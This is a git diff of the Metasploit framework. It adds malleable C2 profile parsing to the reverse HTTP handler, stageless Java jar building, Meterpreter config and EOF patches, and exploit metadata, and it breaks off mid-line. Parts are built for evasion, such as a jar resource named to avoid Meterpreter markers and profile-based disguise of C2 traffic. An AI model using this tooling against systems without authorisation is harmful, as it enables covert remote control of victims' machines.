diff --git a/.github/patches/patch_php_meterpreter.rb b/.github/patches/patch_php_meterpreter.rb new file mode 100644 index 0000000000000..b3bbed4a58f0a --- /dev/null +++ b/.github/patches/patch_php_meterpreter.rb @@ -0,0 +1,68 @@ +#!/usr/bin/env ruby +# Decrypts the meterpreter.php from the installed metasploit-payloads gem, +# applies TCP EOF fixes, re-encrypts, and writes it back. +# +# Usage: bundle exec ruby .github/patches/patch_php_meterpreter.rb + +require 'metasploit-payloads' + +gem_path = `bundle show metasploit-payloads`.strip +target = File.join(gem_path, 'data', 'meterpreter', 'meterpreter.php') + +puts "Patching: #{target}" + +plaintext = MetasploitPayloads::Crypto.decrypt(ciphertext: File.binread(target)) +patched = plaintext.dup + +# Fix 1: socket case - socket_read returns "" or false on peer close +patched = patched.sub( + /^( +my_print\("Reading TCP socket"\);\n +)\$buff \.= socket_read\(\$resource, \$len, PHP_BINARY_READ\);(\n)/ +) do + $~[1] + + "$result = socket_read($resource, $len, PHP_BINARY_READ);\n" \ + " # socket_read returns \"\" or false when the peer closes the connection.\n" \ + " if ($result === false || $result === '') {\n" \ + " $buff = false;\n" \ + " } else {\n" \ + " $buff .= $result;\n" \ + " }" + + $~[2] +end + +abort('ERROR: fix 1 (socket EOF) did not apply') if patched == plaintext + +# Fix 2: stream case - fread returns "" on peer close when unread_bytes == 0 +before_fix2 = patched.dup +patched = patched.sub( + /^( +\$tmp = fread\(\$resource, \$len\);\n +\$last_requested_len = \$len;\n)/ +) do + $~[1] + + " # An empty fread on a stream that stream_select reported as readable\n" \ + " # means the peer has closed the connection (EOF). feof() may not return\n" \ + " # true immediately on all stream types (e.g. SSL), so treat \"\" as EOF.\n" \ + " if ($tmp === false || $tmp === '') {\n" \ + " if (empty($buff)) {\n" \ + " $buff = false;\n" \ + " }\n" \ + " break;\n" \ + " }\n" +end + +abort('ERROR: fix 2 (stream EOF) did not apply') if patched == before_fix2 + +# Fix 3: set global $msgsock in dispatch_tcp so handle_dead_resource_channel +# can write the core_channel_close notification packet to the C2 socket. +# In the new transport-loop architecture the C2 socket is stored as +# $transport['_socket'] and only assigned to a local $msgsock, but +# handle_dead_resource_channel uses `global $msgsock`. +before_fix3 = patched.dup +patched = patched.sub( + /^( +)\$msgsock = \$transport\['_socket'\];/ +) do + $~[1] + "global $msgsock;\n" + $~[0] +end + +abort('ERROR: fix 3 (global $msgsock in dispatch_tcp) did not apply') if patched == before_fix3 + +File.binwrite(target, MetasploitPayloads::Crypto.encrypt(plaintext: patched)) +puts 'meterpreter.php patched successfully (socket EOF + stream EOF + global $msgsock fixes applied)' diff --git a/.github/patches/php-meterpreter-tcp-eof.patch b/.github/patches/php-meterpreter-tcp-eof.patch new file mode 100644 index 0000000000000..faf5d5b15e7b9 --- /dev/null +++ b/.github/patches/php-meterpreter-tcp-eof.patch @@ -0,0 +1,20 @@ +--- a/php/meterpreter/meterpreter.php ++++ b/php/meterpreter/meterpreter.php +@@ -1972,6 +1972,17 @@ function read($resource, $len=null) { + } else { + $tmp = fread($resource, $len); + $last_requested_len = $len; ++ # An empty fread on a stream that stream_select reported as readable ++ # means the peer has closed the connection (EOF). feof() may not return ++ # true immediately on all stream types (e.g. SSL), so treat "" as EOF ++ # for non-C2 channel sockets. ++ if ($tmp === false || ($tmp === '' && $resource !== $msgsock)) { ++ if (empty($buff)) { ++ my_print("---- EOF ON " . get_resource_map_id($resource) . " ----"); ++ $buff = false; ++ } ++ break; ++ } + $buff .= $tmp; + if (strlen($tmp) < $len) { + break; diff --git a/.github/workflows/shared_meterpreter_acceptance.yml b/.github/workflows/shared_meterpreter_acceptance.yml index 6cfdab19875b7..5b25205d1e69e 100644 --- a/.github/workflows/shared_meterpreter_acceptance.yml +++ b/.github/workflows/shared_meterpreter_acceptance.yml @@ -343,6 +343,12 @@ jobs: bundle install working-directory: metasploit-framework + - name: Patch meterpreter.php in installed gem + if: ${{ matrix.meterpreter.name == 'php' }} + run: | + bundle exec ruby .github/patches/patch_php_meterpreter.rb + working-directory: metasploit-framework + - name: Acceptance env: SPEC_HELPER_LOAD_METASPLOIT: false diff --git a/Gemfile.lock b/Gemfile.lock index 35074de0b00cb..67ffb46f1821b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -61,9 +61,9 @@ PATH metasploit-concern metasploit-credential (>= 6.0.21) metasploit-model - metasploit-payloads (= 2.0.245) + metasploit-payloads (= 2.0.246.pre.4) metasploit_data_models (>= 6.0.15) - metasploit_payloads-mettle (= 1.0.46) + metasploit_payloads-mettle (= 1.0.48.pre.2) mqtt msgpack (~> 1.6.0) mutex_m @@ -369,7 +369,7 @@ GEM drb mutex_m railties (>= 7.0, < 8.1) - metasploit-payloads (2.0.245) + metasploit-payloads (2.0.246.pre.4) metasploit_data_models (6.0.18) activerecord (>= 7.0, < 8.1) activesupport (>= 7.0, < 8.1) @@ -383,7 +383,7 @@ GEM railties (>= 7.0, < 8.1) recog webrick - metasploit_payloads-mettle (1.0.46) + metasploit_payloads-mettle (1.0.48.pre.2) method_source (1.1.0) mime-types (3.7.0) logger diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 459cf98f7ec00..d44f2289c2409 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -66658,7 +66658,7 @@ "disclosure_date": null, "type": "encoder", "author": [ - "OJ Reeves " + "OJ Reeves" ], "description": "Encodes a payload using a series of SUB instructions and writing the\n encoded value to ESP. This concept is based on the known SUB encoding\n approach that is widely used to manually encode payloads with very\n restricted allowed character sets. It will not reset EAX to zero unless\n absolutely necessary, which helps reduce the payload by 10 bytes for\n every 4-byte chunk. ADD support hasn't been included as the SUB\n instruction is more likely to avoid bad characters anyway.\n\n The payload requires a base register to work off which gives the start\n location of the encoder payload in memory. If not specified, it defaults\n to ESP. If the given register doesn't point exactly to the start of the\n payload then an offset value is also required.\n\n Note: Due to the fact that many payloads use the FSTENV approach to\n get the current location in memory there is an option to protect the\n start of the payload by setting the 'OverwriteProtect' flag to true.\n This adds 3-bytes to the start of the payload to bump ESP by 32 bytes\n so that it's clear of the top of the payload.", "references": [], @@ -86684,7 +86684,7 @@ "disclosure_date": "2015-03-01", "type": "exploit", "author": [ - "OJ Reeves " + "OJ Reeves" ], "description": "Some Seagate Business NAS devices are vulnerable to command execution via a local\n file include vulnerability hidden in the language parameter of the CodeIgniter\n session cookie. The vulnerability manifests in the way the language files are\n included in the code on the login page, and hence is open to attack from users\n without the need for authentication. The cookie can be easily decrypted using a\n known static encryption key and re-encrypted once the PHP object string has been\n modified.\n\n This module has been tested on the STBN300 device.", "references": [ @@ -189649,7 +189649,7 @@ "author": [ "superkojiman", "PsychoSpy ", - "OJ Reeves " + "OJ Reeves" ], "description": "This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,\n allowing remote attackers to execute arbitrary code via a long resource name in an HTTP\n request. This exploit has to deal with the fact that the application's request handler\n thread is terminated after 60 seconds by a \"monitor\" thread. To do this, it allocates\n some RWX memory, copies the payload to it and creates another thread. When done, it\n terminates the current thread so that it doesn't crash and hence doesn't bring down\n the process with it.", "references": [ @@ -207276,7 +207276,7 @@ "author": [ "Sean Dillon ", "Ryan Hanson", - "OJ Reeves ", + "OJ Reeves", "Brent Cook " ], "description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n the freed channel is used to achieve arbitrary code execution.\n\n Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n selection is correctly matched to the system's memory layout.\n\n HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n This is a non-standard configuration for normal servers, and the target will crash if\n the aforementioned Registry key is not set!\n\n If the target is crashing regardless, you will likely need to determine the non-paged\n pool base in kernel memory and set it as the GROOMBASE option.", @@ -311249,4 +311249,4 @@ "needs_cleanup": null, "actions": [] } -} \ No newline at end of file +} diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index 94e2289b964a7..cff585cc9fca4 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -96,15 +96,61 @@ def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid - case opts[:scheme] - when 'http' - opts[:uri] = generate_http_uri(transport_config_reverse_http(opts)) - when 'https' - opts[:uri] = generate_http_uri(transport_config_reverse_https(opts)) - when 'tcp' - opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts)) - else - raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + unless opts[:transport_config] + if opts[:stageless] == true + case opts[:scheme] + when 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + when 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + when 'tcp' + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + else + raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + end + else + # Staged payloads inherit the stager's socket (fd transport); + # the stage must not synthesise its own C2 transport. Use an + # explicit empty array ([] is truthy, so the build is skipped). + opts[:transport_config] = [] + end + end + + # Generate the TLV config block + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: opts[:extensions] || [], + ext_format: 'bin', + mettle_platform: opts[:mettle_platform], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + opts[:config_block] = config.to_b + + # Mettle reserves a fixed 8 KB slot in the binary for the config + # block. Catch the overflow here with a useful message instead of + # letting the gem's `to_binary` raise a generic "config block too + # large" -- baked-in EXTENSIONS= is the usual culprit. + if opts[:config_block].length > MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX + raise ArgumentError, "Mettle config block (#{opts[:config_block].length} bytes) exceeds the #{MetasploitPayloads::Mettle::CONFIG_BLOCK_MAX}-byte embedded slot. " \ + "Drop EXTENSIONS= and `load ` once the session is up." + end + + # Keep the legacy CLI config for backward compatibility during + # transition. Skipped for staged payloads, which have no transport. + transport = opts[:transport_config].first + if transport + case opts[:scheme] + when 'http', 'https' + opts[:uri] = generate_http_uri(transport) + when 'tcp' + opts[:uri] = generate_tcp_uri(transport) + end end opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip @@ -114,7 +160,7 @@ def generate_config(opts = {}) end opts[:session_guid] = Base64.encode64(guid).strip - opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background) + opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background, :config_block) end # Stage encoding is not safe for Mettle (doesn't apply to stageless) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 13f56f18777aa..b64311139ed19 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -70,8 +70,7 @@ def initialize(info = {}) OptString.new('HttpUserAgent', 'The user-agent that the payload should use for communication', default: Rex::UserAgent.random, - aliases: ['MeterpreterUserAgent'], - max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1 + aliases: ['MeterpreterUserAgent'] ), OptString.new('HttpServerName', 'The server header that the handler will send in response to requests', @@ -180,28 +179,52 @@ def scheme (ssl?) ? 'https' : 'http' end + def construct_luri(base_uri) + return nil unless base_uri + + u = base_uri.dup + + while u[-1] == '/' + u.chop! + end + + u = "/#{u}" unless u[0] == '/' + + u + end + # The local URI for the handler. # # @return [String] Representation of the URI to listen on. def luri - l = datastore['LURI'] || "" - - if l && l.length > 0 - # strip trailing slashes - while l[-1, 1] == '/' - l = l[0...-1] - end + construct_luri(datastore['LURI'] || '') + end - # make sure the luri has the prefix - if l[0, 1] != '/' - l = "/#{l}" - end + def all_uris + all = ["#{luri}/"] + if self.c2_profile + uris = self.c2_profile.uris.map {|u| construct_luri(u)} + all.push(*uris) end - l.dup + all.uniq + end + + def c2_profile + # Only use a C2 profile if the payload explicitly registered the option. + # This prevents staged payloads from inheriting a stale MALLEABLEC2 + # value from a prior stageless payload configuration. + return nil unless self.options.include?('MALLEABLEC2') + + profile_path = datastore['MALLEABLEC2'] || '' + return nil if profile_path.empty? + + parser = Msf::Payload::MalleableC2::Parser.new + parser.parse(profile_path) end + # Create an HTTP listener # # @return [void] @@ -239,13 +262,15 @@ def setup_handler self.service.server_name = datastore['HttpServerName'] # Add the new resource - resource_path = (luri + "/").gsub("//", "/") - service.add_resource(resource_path, - 'Proc' => Proc.new { |cli, req| - on_request(cli, req) - }, - 'VirtualDirectory' => true) - self.resource_added = true + all_uris.each {|u| + r = u.empty? ? '/' : u.gsub("//", "/") + service.add_resource(r, + 'Proc' => Proc.new { |cli, req| + on_request(cli, req) + }, + 'VirtualDirectory' => true) + } + @resources_added = true print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}") lookup_proxy_settings @@ -255,15 +280,108 @@ def setup_handler end end + # Extract the connection id (the checksum-tuned base64url UUID string + # produced by `generate_uri_uuid`) from an incoming request, so that + # `process_uri_resource` can map it to a session. The id can arrive in + # three places depending on the C2 profile placement directive: + # + # * query parameter (profile: `parameter "name";`) + # * request header (profile: `header "name";`) + # * trailing path seg (default -- no placement directive) + # + # For the path case, the URI looks like `/`, where `` + # is the profile's per-verb `set uri` if defined, otherwise `LURI` + # (each is registered as a separate mount point in `all_uris`). + # Taking the last `/`-separated segment skips the base regardless of + # which one was used. Profile authors should not put `/` in + # prepend/append directives -- that would split the id across segments + # and defeat this scheme. + # + # If the profile applied `prepend` / `append` / `base64` / `base64url` + # to the id on the payload side, undo those transforms here before + # handing the result to `process_uri_resource`. + def find_resource_id(cli, request) + if request.method == 'POST' + placement = self.c2_profile&.http_post&.client&.id + else + placement = self.c2_profile&.http_get&.client&.metadata + end + + cid = nil + if placement + directive = placement.parameter + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + unless cid + directive = placement.header + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + end + end + + cid ||= request.resource.split('?')[0].split('/').compact.last + cid = unwrap_profile_uuid(cid, placement) if cid && placement + + request.conn_id = cid + end + + # Reverse the prepend/append + base64 transforms the profile applied + # to the id on the payload side. If a declared wrapper is missing from + # the candidate, leave the candidate alone -- this is not a payload + # request, and `process_uri_resource` will return nil for it. + def unwrap_profile_uuid(candidate, placement) + prefix = placement.prepend.map{|d| d.args[0]}.join('') + suffix = placement.append.map{|d| d.args[0]}.join('') + + return candidate unless prefix.empty? || candidate.start_with?(prefix) + return candidate unless suffix.empty? || candidate.end_with?(suffix) + + candidate = candidate[prefix.length..] unless prefix.empty? + candidate = candidate[0...-suffix.length] unless suffix.empty? + + if placement.has_directive('base64') + candidate = Rex::Text.decode_base64(candidate) + elsif placement.has_directive('base64url') + candidate = Rex::Text.decode_base64url(candidate) + end + candidate + end + + def add_response_headers(req, resp) + if req.method == 'GET' + headers = self.c2_profile&.http_get&.server&.header || [] + headers.each {|h| resp[h.args[0]] = h.args[1]} + elsif req.method == 'POST' + headers = self.c2_profile&.http_post&.server&.header || [] + headers.each {|h| resp[h.args[0]] = h.args[1]} + end + end + + # Return the live meterpreter session whose passive dispatcher is + # registered for this bare conn_id, or nil if none matches. Used so + # MC2 traffic -- which Rex routes to on_request because the profile + # URI prefix outranks the session's / mount -- can still be + # delivered to the right session instead of triggering a fresh + # "orphaned attach" on every poll. + def session_for_conn_id(bare_conn_id) + return nil if framework.nil? || bare_conn_id.nil? || bare_conn_id.empty? + framework.sessions.each_value do |s| + next unless s.respond_to?(:connection_uuid) + return s if s.connection_uuid == bare_conn_id + end + nil + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. # def stop_handler if self.service - if self.resource_added - self.service.remove_resource((luri + "/").gsub("//", "/")) - self.resource_added = false + if @resources_added + all_uris.each {|u| + r = u.empty? ? '/' : u.gsub("//", "/") + self.service.remove_resource(r) + } + @resources_added = false end self.service.deref self.service = nil @@ -271,7 +389,6 @@ def stop_handler end attr_accessor :service # :nodoc: - attr_accessor :resource_added # :nodoc: protected @@ -320,23 +437,27 @@ def lookup_proxy_settings def on_request(cli, req) Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new - info = process_uri_resource(req.relative_resource) - uuid = info[:uuid] + + req.conn_id = find_resource_id(cli, req) unless req.conn_id + + if req.conn_id + info = process_uri_resource(req.conn_id) + uuid = info[:uuid] + conn_id = req.conn_id + end if uuid # Configure the UUID architecture and payload if necessary uuid.arch ||= self.arch uuid.platform ||= self.platform - conn_id = luri + request_summary = "URI '#{req.resource}' with UA '#{req.headers['User-Agent']}'" + if info[:mode] && info[:mode] != :connect - conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid) - else - conn_id << req.relative_resource - conn_id = conn_id.chomp('/') + conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end - request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" + conn_id.chomp!('/') # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if framework.db.active @@ -374,24 +495,37 @@ def on_request(cli, req) # Process the requested resource. case info[:mode] when :init_connect - print_status("Redirecting stageless connection from #{request_summary}") + print_status("Redirecting stageless: #{request_summary} -> UUID #{conn_id.gsub(/\//, '')}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that # was generated on the fly. This means we form a new session for each. # Hurl a TLV back at the caller, and ignore the response - pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL) - pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") + pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID) + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, '')) resp.body = pkt.to_r + resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile - when :init_python, :init_native, :init_java, :connect + when :init_python, :init_native, :init_java, :init_php, :connect # TODO: at some point we may normalise these three cases into just :init if info[:mode] == :connect + # If a session already exists for this conn_id, hand the + # request to its passive dispatcher. Without this, MC2 + # profiles loop forever on "orphaned attach" because the + # profile URI prefix outranks the session's / + # mount in Rex's VirtualDirectory routing. + existing = session_for_conn_id(req.conn_id) + if existing + existing.send(:on_passive_request, cli, req) + self.pending_connections -= 1 + return + end print_status("Attaching orphaned/stageless session...") else begin + # TODO: do we need to handle C2 profiles here? blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id) blob = encode_stage(blob) if self.respond_to?(:encode_stage) # remove this when we make http payloads prepend stage sizes by default @@ -412,7 +546,7 @@ def on_request(cli, req) end end - create_session(cli, { + session_opts = { :passive_dispatcher => self.service, :dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher], :conn_id => conn_id, @@ -422,9 +556,12 @@ def on_request(cli, req) :retry_total => datastore['SessionRetryTotal'].to_i, :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, - :payload_uuid => uuid - }) + :payload_uuid => uuid, + :c2_profile => self.c2_profile, + :debug_build => datastore['MeterpreterDebugBuild'] || false, + } + create_session(cli, session_opts) else unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode]) print_status("Unknown request to #{request_summary}") diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 81e479e585eb3..5a41c1bf72182 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -85,11 +85,9 @@ def self.http_proxy_options ), OptString.new('HttpProxyUser', 'An optional proxy server username', aliases: ['PayloadProxyUser'], - max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1 ), OptString.new('HttpProxyPass', 'An optional proxy server password', aliases: ['PayloadProxyPass'], - max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1 ), OptEnum.new('HttpProxyType', 'The type of HTTP proxy', enums: ['HTTP', 'SOCKS'], diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index a1c0e0f3093ea..aa3c55c04f91d 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -46,23 +46,26 @@ def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid ds = opts[:datastore] || datastore + # Session flags consumed by the Android meterpreter via TLV_TYPE_SESSION_FLAGS. + # Bit values must match Config.FLAG_* in + # java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java. + flags = 0 + flags |= 1 if opts[:stageless] + flags |= 2 if ds['AndroidMeterpreterDebug'] + flags |= 4 if ds['AndroidWakelock'] + flags |= 8 if ds['AndroidHideAppIcon'] + config_opts = { ascii_str: true, arch: opts[:uuid].arch, expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], - stageless: opts[:stageless] == true + stageless: opts[:stageless] == true, + flags: flags } - config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b - flags = 0 - flags |= 1 if opts[:stageless] - flags |= 2 if ds['AndroidMeterpreterDebug'] - flags |= 4 if ds['AndroidWakelock'] - flags |= 8 if ds['AndroidHideAppIcon'] - config[0] = flags.chr - config + Rex::Payloads::Meterpreter::Config.new(config_opts).to_b end def sign_jar(jar) diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index e2654ba6c727b..969e0bd59b64f 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'rex/zip' +require 'zip' module Msf @@ -15,6 +17,11 @@ module Payload::Java::MeterpreterLoader include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Java + # Resource path the stageless StagelessMain bootstrap reads. Deliberately + # innocuous -- no meterpreter/metasploit markers in the name. + STAGELESS_CONFIG_RESOURCE = 'META-INF/data'.freeze + STAGELESS_MAIN_CLASS = 'com.metasploit.meterpreter.StagelessMain'.freeze + def initialize(info = {}) super(update_info(info, 'Name' => 'Java Meterpreter & Configuration', @@ -35,10 +42,16 @@ def stage_payload(opts={}) # Override the Payload::Java version so we can load a prebuilt jar to be # used as the final stage; calls super to get the intermediate stager. # + # When opts[:stageless] is set, returns a self-contained jar with the + # TLV config embedded as a resource and Main-Class pinned to + # StagelessMain -- ready to run under `java -jar`. + # def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') config = generate_config(opts) + return build_stageless_jar(met, config).pack if opts[:stageless] + # All of the dependencies to create a jar loader, followed by the length # of the jar and the jar itself, then the config blocks = [ @@ -56,6 +69,54 @@ def stage_meterpreter(opts={}) (blocks + [block_count]).pack('A*' * blocks.length + 'N') end + # Build a self-contained stageless jar: take the prebuilt meterpreter.jar, + # rewrite its manifest to point at StagelessMain, and embed the encoded + # config as a jar resource that StagelessMain reads at startup. Returns + # the Rex::Zip::Jar so callers can either .pack it (legacy stage path) + # or hand it to msfvenom's encoded_jar/generate_jar pipeline. + # Extra classes the stageless jar needs beyond the shaded meterpreter jar. + # JarFileClassLoader lives in the javapayload artifact (which the shade + # plugin deliberately excludes), but `Meterpreter#loadExtension` uses it + # to load extension jars at runtime. + STAGELESS_EXTRA_CLASSES = [ + %w[com metasploit meterpreter JarFileClassLoader.class], + ].freeze + + def build_stageless_jar(src_jar, config_bytes) + jar = Rex::Zip::Jar.new + ::Zip::File.open_buffer(::StringIO.new(src_jar)) do |zip| + zip.each do |entry| + next if entry.directory? + next if entry.name == 'META-INF/MANIFEST.MF' + next if entry.name == STAGELESS_CONFIG_RESOURCE + jar.add_file(entry.name, entry.get_input_stream.read) + end + end + STAGELESS_EXTRA_CLASSES.each do |parts| + jar.add_file(parts.join('/'), ::MetasploitPayloads.read('java', *parts)) + end + jar.add_file(STAGELESS_CONFIG_RESOURCE, config_bytes) + jar.build_manifest(main_class: STAGELESS_MAIN_CLASS) + jar + end + + # `Msf::Simple::Payload.generate_simple` reaches the jar bytes via + # `encoded_jar` -> `pinst.generate_jar`. The Java meterpreter modules + # that include this mixin are all `Msf::Payload::Single` (stageless), + # so build the self-contained jar instead of falling back to + # `Msf::Payload::Java#generate_jar`, which would emit the staged + # `metasploit.Payload` loader jar. + # When the calling module flags `opts[:stageless]`, build the + # self-contained jar via `build_stageless_jar`. Otherwise fall back to + # `Msf::Payload::Java#generate_jar`, which emits the staged + # `metasploit.Payload` loader jar. + def generate_jar(opts={}) + return super unless opts[:stageless] + + src_jar = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') + build_stageless_jar(src_jar, generate_config(opts)) + end + def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid ds = opts[:datastore] || datastore @@ -67,6 +128,8 @@ def generate_config(opts={}) expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], + extensions: opts[:extensions] || [], + ext_format: 'jar', stageless: opts[:stageless] == true } diff --git a/lib/msf/core/payload/macho.rb b/lib/msf/core/payload/macho.rb index c6053c668f0c7..f53d482008212 100644 --- a/lib/msf/core/payload/macho.rb +++ b/lib/msf/core/payload/macho.rb @@ -5,6 +5,7 @@ class Msf::Payload::MachO def initialize(data) + @raw_data = data.dup @macho = MachO::MachOFile.new_from_bin(data) end @@ -59,7 +60,12 @@ def to_dylib(name) # See: https://developer.apple.com/forums/thread/702351 # See: https://github.com/apple-oss-distributions/Security/blob/e4ea024c9bbd3bfda30ec6df270bfb4c7438d1a9/SecurityTool/sharedTool/codesign.c#L323 def sign - raw_data = @macho.serialize + # Use the original binary data rather than @macho.serialize. On Linux, + # ruby-macho's serialize can reorder or drop sections for newer macOS + # load commands (LC_DYLD_CHAINED_FIXUPS, LC_DYLD_EXPORTS_TRIE), which + # causes the LC_CODE_SIGNATURE.dataoff to point to the wrong location + # in the reconstructed output. + raw_data = @raw_data.dup code_signature_index = @macho[:LC_CODE_SIGNATURE][0].dataoff code_signature = raw_data[code_signature_index..] s_magic, s_length, s_count, code_indexes = code_signature.unpack("N3a*") diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb new file mode 100644 index 0000000000000..e905c65f4d093 --- /dev/null +++ b/lib/msf/core/payload/malleable_c2.rb @@ -0,0 +1,580 @@ +# -*- coding: binary -*- + +## +# This module contains helper functions for parsing and loading malleable +# C2 profiles into ruby objects. +# +# See https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm +## + +require 'strscan' +require 'rex/post/meterpreter/packet' + +module Msf::Payload::MalleableC2 + + MET = Rex::Post::Meterpreter + MC2 = Msf::Payload::MalleableC2 + + # Handle escape sequences in the strings provided by the c2 profile + def self.from_c2_string_value(s) + # Support substitution of a subset of escape characters: + # \r, \t, \n, \\, \x.., \" + # Not supporting \u at this point. + # We do in a single regex and parse each as we go, as this avoids the + # potential for double-encoding. + s.gsub(/\\(x(..)|r|n|t|"|\\)/) {|b| + case b[1] + when 'x' + [b[2, 2].to_i(16)].pack('C') + when 'r' + "\r" + when 't' + "\t" + when 'n' + "\n" + when '"' + '"' + when '\\' + "\\" + end + } + end + + class Token + attr_reader :type, :value + + def initialize(type, value) + @type = type + @value = value + end + end + + class Lexer + + attr_reader :tokens + + BLOCK_KEYWORDS = %w[ + client + http-get + http-post + http-stager + https-certificate + id + metadata + output + server + stage + transform-x64 + transform-x86 + ] + + OTHER_KEYWORDS = %w[ + add + append + base64 + base64url + dns + encode_hex + header + hostport + mask + netbios + netbiosu + parameter + prepend + print + remove + set + string + stringw + strrep + transform + unset + uri + uri-append + uri-query + xor + ] + + def initialize(file) + @tokens = [] + tokenize(File.binread(file)) + end + + def is_block_keyword?(word) + BLOCK_KEYWORDS.include?(word) + end + + private + + def tokenize(text) + scanner = StringScanner.new(text) + + until scanner.eos? + if scanner.scan(/\s+/) + # blank line + next + elsif scanner.scan(/#[^\n]*/) + # comment -- anchorless so it matches indented comments too + # (the prior `\s+` rule has already eaten any leading + # whitespace by the time we get here) + next + elsif scanner.scan(/\"(\\.|[^"])*\"/) + @tokens << Token.new(:string, scanner.matched[1..-2]) + elsif scanner.scan(/[a-zA-Z0-9_\-\.\/]+/) + word = scanner.matched + type = BLOCK_KEYWORDS.union(OTHER_KEYWORDS).include?(word) ? :keyword : :identifier + @tokens << Token.new(type, word) + elsif scanner.scan(/[{};]/) + @tokens << Token.new(:symbol, scanner.matched) + else + preceding_lines = scanner.string[0..scanner.pos].split("\n") + row = preceding_lines.length + col = preceding_lines.last&.size || 1 + raise "Unexpected token near #{row}:#{col}: #{scanner.peek(20).split("\n").first}" + end + end + end + end + + class ParsedProfile + attr_accessor :sets, :sections + + def initialize + @sets = [] + @sections = [] + end + + def method_missing(name, *args) + name = name.to_s.gsub('_', '-') + get_section(name) || get_set(name) + end + + def get_set(key) + val = @sets.find {|s| s.key == key.downcase}&.value + if block_given? && !val.nil? + yield(val) + end + val + end + + def get_section(name) + sec = @sections.find {|s| s.name == name.downcase} + if block_given? && !sec.nil? + yield(sec) + end + sec + end + + def uris + base_uri = self.get_set('uri') + get_uri = nil + post_uri = nil + + self.get_section('http-get') {|http_get| + get_uri = 